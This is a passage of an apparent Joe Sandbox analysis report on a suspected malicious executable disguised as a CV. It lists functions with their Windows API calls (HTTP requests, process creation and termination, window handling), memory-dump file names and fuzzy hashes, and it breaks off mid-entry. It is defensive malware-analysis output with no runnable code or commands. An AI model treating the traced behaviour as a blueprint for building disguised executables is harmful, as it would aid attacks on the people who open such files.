                                                                          • MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 0060D200
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
                                                                          • String ID: U
                                                                          • API String ID: 4009187628-3372436214
                                                                          • Opcode ID: dc25cb7887c909fe2c126b8e7d2fd5fb166c1d93faeab46c6455e6c7b3e32fff
                                                                          • Instruction ID: 146c10d1068c77042a5fd69ee6c3a2187230420a775d463003517795a7eab5f7
                                                                          • Opcode Fuzzy Hash: dc25cb7887c909fe2c126b8e7d2fd5fb166c1d93faeab46c6455e6c7b3e32fff
                                                                          • Instruction Fuzzy Hash: A171CF30400209DFCF259FA4C895AEA7FB6FF4A324F18466AED555A2E6DB318C41DF60
                                                                          Function 005FECD4 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 149windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005AB34E: GetWindowLongW.USER32(?,000000EB), ref: 005AB35F
                                                                            • Part of subcall function 005AB63C: GetCursorPos.USER32(000000FF), ref: 005AB64F
                                                                            • Part of subcall function 005AB63C: ScreenToClient.USER32(00000000,000000FF), ref: 005AB66C
                                                                            • Part of subcall function 005AB63C: GetAsyncKeyState.USER32(00000001), ref: 005AB691
                                                                            • Part of subcall function 005AB63C: GetAsyncKeyState.USER32(00000002), ref: 005AB69F
                                                                          • ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?,?,?), ref: 005FED3C
                                                                          • ImageList_EndDrag.COMCTL32 ref: 005FED42
                                                                          • ReleaseCapture.USER32 ref: 005FED48
                                                                          • SetWindowTextW.USER32(?,00000000), ref: 005FEDF0
                                                                          • SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 005FEE03
                                                                          • DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?,?,?), ref: 005FEEDC
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
                                                                          • String ID: @GUI_DRAGFILE$@GUI_DROPID
                                                                          • API String ID: 1924731296-2107944366
                                                                          • Opcode ID: 93761add9dd112e5c7ceaa30fe0957484199bc88b45fac529c5284a201f897a6
                                                                          • Instruction ID: 922f184f8b09614a468d3b646a97d126ede22795efd8089747358d510537a444
                                                                          • Opcode Fuzzy Hash: 93761add9dd112e5c7ceaa30fe0957484199bc88b45fac529c5284a201f897a6
                                                                          • Instruction Fuzzy Hash: CC51AC70104304AFD710EF24DC9AFAA7BEAFB89315F04491DF6959B2E1DB749908CB52
                                                                          Function 005E45C4 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 133networkCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 005E45FF
                                                                          • HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 005E462B
                                                                          • InternetQueryOptionW.WININET(00000000,0000001F,00000000,?), ref: 005E466D
                                                                          • InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 005E4682
                                                                          • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 005E468F
                                                                          • HttpQueryInfoW.WININET(00000000,00000005,?,?,00000000), ref: 005E46BF
                                                                          • InternetCloseHandle.WININET(00000000), ref: 005E4706
                                                                            • Part of subcall function 005E5052: GetLastError.KERNEL32(?,?,005E43CC,00000000,00000000,00000001), ref: 005E5067
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Internet$Http$OptionQueryRequest$CloseConnectErrorHandleInfoLastOpenSend
                                                                          • String ID:
                                                                          • API String ID: 1241431887-3916222277
                                                                          • Opcode ID: 31e05da81ae0d51be3ef3bc91c678dce00fae8a80948d245c4172da62e9ab45a
                                                                          • Instruction ID: 9412a42e094316dc062836054b89fdd20ff617456e4bbf19cd027890a729bdf8
                                                                          • Opcode Fuzzy Hash: 31e05da81ae0d51be3ef3bc91c678dce00fae8a80948d245c4172da62e9ab45a
                                                                          • Instruction Fuzzy Hash: 29419EB1501255BFEB1A9F51CC89FFB7BADFF09344F048016FA859A181E7B09D448BA4
                                                                          Function 005EB644 Relevance: 13.9, APIs: 9, Instructions: 432COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetModuleFileNameW.KERNEL32(?,?,00000104,?,0062DC00), ref: 005EB715
                                                                          • FreeLibrary.KERNEL32(00000000,00000001,00000000,?,0062DC00), ref: 005EB749
                                                                          • QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 005EB8C1
                                                                          • SysFreeString.OLEAUT32(?), ref: 005EB8EB
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Free$FileLibraryModuleNamePathQueryStringType
                                                                          • String ID:
                                                                          • API String ID: 560350794-0
                                                                          • Opcode ID: fcd748ca7e6bf6f907e425e90ce75b9cc8e53337e8cfabb3b185bffd1be0bf55
                                                                          • Instruction ID: 1505c1da274ee08e418207eaf42c35baeb6201ded14a98922eb589821396c235
                                                                          • Opcode Fuzzy Hash: fcd748ca7e6bf6f907e425e90ce75b9cc8e53337e8cfabb3b185bffd1be0bf55
                                                                          • Instruction Fuzzy Hash: 56F15275900249EFDF08DF95C888EAEBBBAFF88311F148499F945AB251D731AD41CB90
                                                                          Function 005F24D4 Relevance: 13.9, APIs: 9, Instructions: 376processCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • _memset.LIBCMT ref: 005F24F5
                                                                          • GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 005F2688
                                                                          • GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 005F26AC
                                                                          • GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 005F26EC
                                                                          • GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 005F270E
                                                                          • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 005F286F
                                                                          • GetLastError.KERNEL32(00000000,00000001,00000000), ref: 005F28A1
                                                                          • CloseHandle.KERNEL32(?), ref: 005F28D0
                                                                          • CloseHandle.KERNEL32(?), ref: 005F2947
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
                                                                          • String ID:
                                                                          • API String ID: 4090791747-0
                                                                          • Opcode ID: 16b56830079a5fed42b5aa374e7be67128a318f5443ba272306fc90f29d3f294
                                                                          • Instruction ID: ac6f1638e40e21d93965ec8bfb1010687e806e0d3d803d0837f4b0bc2c26b645
                                                                          • Opcode Fuzzy Hash: 16b56830079a5fed42b5aa374e7be67128a318f5443ba272306fc90f29d3f294
                                                                          • Instruction Fuzzy Hash: 31D1AB716043029FCB14EF28C895A6EBFE5BF85350F14895DF9899B2A2DB35EC40CB52
                                                                          Function 005FB33A Relevance: 13.7, APIs: 9, Instructions: 167COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 005FB3F4
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: InvalidateRect
                                                                          • String ID:
                                                                          • API String ID: 634782764-0
                                                                          • Opcode ID: 3ec4209e0632f5b4da8ab0658554af6d97bb7ee9accbc846f8743779939871a0
                                                                          • Instruction ID: 419be628424750de0cf77ba3c76c07719e418aede5b4d67e484830365d5dc592
                                                                          • Opcode Fuzzy Hash: 3ec4209e0632f5b4da8ab0658554af6d97bb7ee9accbc846f8743779939871a0
                                                                          • Instruction Fuzzy Hash: 70519F3164020DFAFF209F28CC89BBD3F66BB05315F244912F715E65E2D779EA408A50
                                                                          Function 005AA699 Relevance: 13.7, APIs: 9, Instructions: 163windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 0060DB1B
                                                                          • ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0060DB3C
                                                                          • LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 0060DB51
                                                                          • ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 0060DB6E
                                                                          • SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 0060DB95
                                                                          • DestroyIcon.USER32(00000000,?,?,?,?,?,?,005AA67C,00000000,00000000,00000000,000000FF,00000000,000000FF,000000FF), ref: 0060DBA0
                                                                          • SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 0060DBBD
                                                                          • DestroyIcon.USER32(00000000,?,?,?,?,?,?,005AA67C,00000000,00000000,00000000,000000FF,00000000,000000FF,000000FF), ref: 0060DBC8
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Icon$DestroyExtractImageLoadMessageSend
                                                                          • String ID:
                                                                          • API String ID: 1268354404-0
                                                                          • Opcode ID: 50333982eacbef89714d011c4381548542fe4962d30a8d9ef0d9d356d7118da1
                                                                          • Instruction ID: 5308fda1a097d516a521e8863d3dda97039683d42c7ebc4f5b6f4d0351019171
                                                                          • Opcode Fuzzy Hash: 50333982eacbef89714d011c4381548542fe4962d30a8d9ef0d9d356d7118da1
                                                                          • Instruction Fuzzy Hash: 87515870640209EFDB24DFA8CC85FAA7BBAFB49750F104619F9469B2D0D7B0AD80DB50
                                                                          Function 005D7555 Relevance: 13.6, APIs: 9, Instructions: 142filestringCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005D6EBB: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,005D5FA6,?), ref: 005D6ED8
                                                                            • Part of subcall function 005D6EBB: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,005D5FA6,?), ref: 005D6EF1
                                                                            • Part of subcall function 005D72CB: GetFileAttributesW.KERNEL32(?,005D6019), ref: 005D72CC
                                                                          • lstrcmpiW.KERNEL32(?,?), ref: 005D75CA
                                                                          • _wcscmp.LIBCMT ref: 005D75E2
                                                                          • MoveFileW.KERNEL32(?,?), ref: 005D75FB
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: FileFullNamePath$AttributesMove_wcscmplstrcmpi
                                                                          • String ID:
                                                                          • API String ID: 793581249-0
                                                                          • Opcode ID: 8e4f3e48c7ce8f79c06b4e91167dbaefc256b64d46c98bbeb2b8ba2c0d46e1dd
                                                                          • Instruction ID: a44104c8eb114015e8f8e3fe8d01b0227c4a3e83b30e1879f4863fe88d0db4c0
                                                                          • Opcode Fuzzy Hash: 8e4f3e48c7ce8f79c06b4e91167dbaefc256b64d46c98bbeb2b8ba2c0d46e1dd
                                                                          • Instruction Fuzzy Hash: 75511FB2A0921D9ADF60EB98D8459DE7BBCAF4C310B10449BF605E3141EB74E6C9CF64
                                                                          Function 005AEA69 Relevance: 13.6, APIs: 9, Instructions: 135COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • ShowWindow.USER32(00000000,000000FF,00000000,00000000,00000000,?,0060DAD1,00000004,00000000,00000000), ref: 005AEAEB
                                                                          • ShowWindow.USER32(00000000,00000000,00000000,00000000,00000000,?,0060DAD1,00000004,00000000,00000000), ref: 005AEB32
                                                                          • ShowWindow.USER32(00000000,00000006,00000000,00000000,00000000,?,0060DAD1,00000004,00000000,00000000), ref: 0060DC86
                                                                          • ShowWindow.USER32(00000000,000000FF,00000000,00000000,00000000,?,0060DAD1,00000004,00000000,00000000), ref: 0060DCF2
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: ShowWindow
                                                                          • String ID:
                                                                          • API String ID: 1268545403-0
                                                                          • Opcode ID: 0ad51766bffa5b5dd622f5d6e2b1527fbd36ccc5be91e510015b36f5e1473c33
                                                                          • Instruction ID: f42618821ec3e4eeb969cb11d9ad33b5eead25bb8441f39e6b7141a5f2fa7a66
                                                                          • Opcode Fuzzy Hash: 0ad51766bffa5b5dd622f5d6e2b1527fbd36ccc5be91e510015b36f5e1473c33
                                                                          • Instruction Fuzzy Hash: 52410970205284ABD73A9B288D8FB7F7E9BBB43305F19580EE047869A1C671B840C731
                                                                          Function 005CB263 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetProcessHeap.KERNEL32(00000008,0000000C,00000000,00000000,?,005CAEF1,00000B00,?,?), ref: 005CB26C
                                                                          • HeapAlloc.KERNEL32(00000000,?,005CAEF1,00000B00,?,?), ref: 005CB273
                                                                          • GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,005CAEF1,00000B00,?,?), ref: 005CB288
                                                                          • GetCurrentProcess.KERNEL32(?,00000000,?,005CAEF1,00000B00,?,?), ref: 005CB290
                                                                          • DuplicateHandle.KERNEL32(00000000,?,005CAEF1,00000B00,?,?), ref: 005CB293
                                                                          • GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,005CAEF1,00000B00,?,?), ref: 005CB2A3
                                                                          • GetCurrentProcess.KERNEL32(005CAEF1,00000000,?,005CAEF1,00000B00,?,?), ref: 005CB2AB
                                                                          • DuplicateHandle.KERNEL32(00000000,?,005CAEF1,00000B00,?,?), ref: 005CB2AE
                                                                          • CreateThread.KERNEL32(00000000,00000000,005CB2D4,00000000,00000000,00000000), ref: 005CB2C8
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
                                                                          • String ID:
                                                                          • API String ID: 1957940570-0
                                                                          • Opcode ID: 4a02e065d98051ef755ebf0f08751edd7f9fc6b1c3a8d35761cfff2b14bc5f96
                                                                          • Instruction ID: 62ef98089fff01c402df64022208f1101765e9fd5ef9cc677e386078cbb2bac0
                                                                          • Opcode Fuzzy Hash: 4a02e065d98051ef755ebf0f08751edd7f9fc6b1c3a8d35761cfff2b14bc5f96
                                                                          • Instruction Fuzzy Hash: 3F011DB5240344BFE710EFA5DC4EFAB3BADEB89700F048412FA04CB1A1CAB49800CB21
                                                                          Function 005EC43F Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 401COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: NULL Pointer assignment$Not an Object type
                                                                          • API String ID: 0-572801152
                                                                          • Opcode ID: 1d2dcf50a85d2c1e8f37f0734e97d2d9b5cc3d5132b2122e6cae2f5dfcfcf77f
                                                                          • Instruction ID: 97cf7d110641cd654d5257936fc913fb44ac8bb73580ecc02abc0f3a1aea5376
                                                                          • Opcode Fuzzy Hash: 1d2dcf50a85d2c1e8f37f0734e97d2d9b5cc3d5132b2122e6cae2f5dfcfcf77f
                                                                          • Instruction Fuzzy Hash: B1E1D571A0025AAFDF18DFA9C985AEE7FB5FB48310F14446AE985A7280D770DD42CB90
                                                                          Function 005E16DA Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 309COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 0059936C: __swprintf.LIBCMT ref: 005993AB
                                                                            • Part of subcall function 0059936C: __itow.LIBCMT ref: 005993DF
                                                                            • Part of subcall function 005AC6F4: _wcscpy.LIBCMT ref: 005AC717
                                                                          • _wcstok.LIBCMT ref: 005E184E
                                                                          • _wcscpy.LIBCMT ref: 005E18DD
                                                                          • _memset.LIBCMT ref: 005E1910
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: _wcscpy$__itow__swprintf_memset_wcstok
                                                                          • String ID: X$p2dl2d
                                                                          • API String ID: 774024439-1526099858
                                                                          • Opcode ID: c4bf0d96abc06b8d45dbc6b42d3fbd1c6944ac45e9426e746adbcf258badf5fc
                                                                          • Instruction ID: 7289cb84cade6710034151a6b1ca4a7065399db49ec4ed832607a49326a44d9b
                                                                          • Opcode Fuzzy Hash: c4bf0d96abc06b8d45dbc6b42d3fbd1c6944ac45e9426e746adbcf258badf5fc
                                                                          • Instruction Fuzzy Hash: BEC17F755047429FCB14EF24C855AAABFE5FF85350F00492DF899972A2DB30ED05CB86
                                                                          Function 005F9A75 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 142windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 005F9B19
                                                                          • SendMessageW.USER32(?,00001036,00000000,?), ref: 005F9B2D
                                                                          • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 005F9B47
                                                                          • _wcscat.LIBCMT ref: 005F9BA2
                                                                          • SendMessageW.USER32(?,00001057,00000000,?), ref: 005F9BB9
                                                                          • SendMessageW.USER32(?,00001061,?,0000000F), ref: 005F9BE7
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend$Window_wcscat
                                                                          • String ID: SysListView32
                                                                          • API String ID: 307300125-78025650
                                                                          • Opcode ID: e11c20ea9bb71124ba9949489ca5cca7105fe2e4a2f4daa339ece292fd94af80
                                                                          • Instruction ID: 76b8f52c8a37f7f5dec8433e238419456d2646fa5f72e348e5a46a776d86ada5
                                                                          • Opcode Fuzzy Hash: e11c20ea9bb71124ba9949489ca5cca7105fe2e4a2f4daa339ece292fd94af80
                                                                          • Instruction Fuzzy Hash: CB41C07090030CABDB219FA4CC89BEE7BA9FF08350F10442AF685A7291C7759D84CB60
                                                                          Function 005F172F Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 135COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005D6532: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,00000000), ref: 005D6554
                                                                            • Part of subcall function 005D6532: Process32FirstW.KERNEL32(00000000,0000022C), ref: 005D6564
                                                                            • Part of subcall function 005D6532: CloseHandle.KERNEL32(00000000,?,00000000), ref: 005D65F9
                                                                          • OpenProcess.KERNEL32(00000001,00000000,?), ref: 005F179A
                                                                          • GetLastError.KERNEL32 ref: 005F17AD
                                                                          • OpenProcess.KERNEL32(00000001,00000000,?), ref: 005F17D9
                                                                          • TerminateProcess.KERNEL32(00000000,00000000), ref: 005F1855
                                                                          • GetLastError.KERNEL32(00000000), ref: 005F1860
                                                                          • CloseHandle.KERNEL32(00000000), ref: 005F1895
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
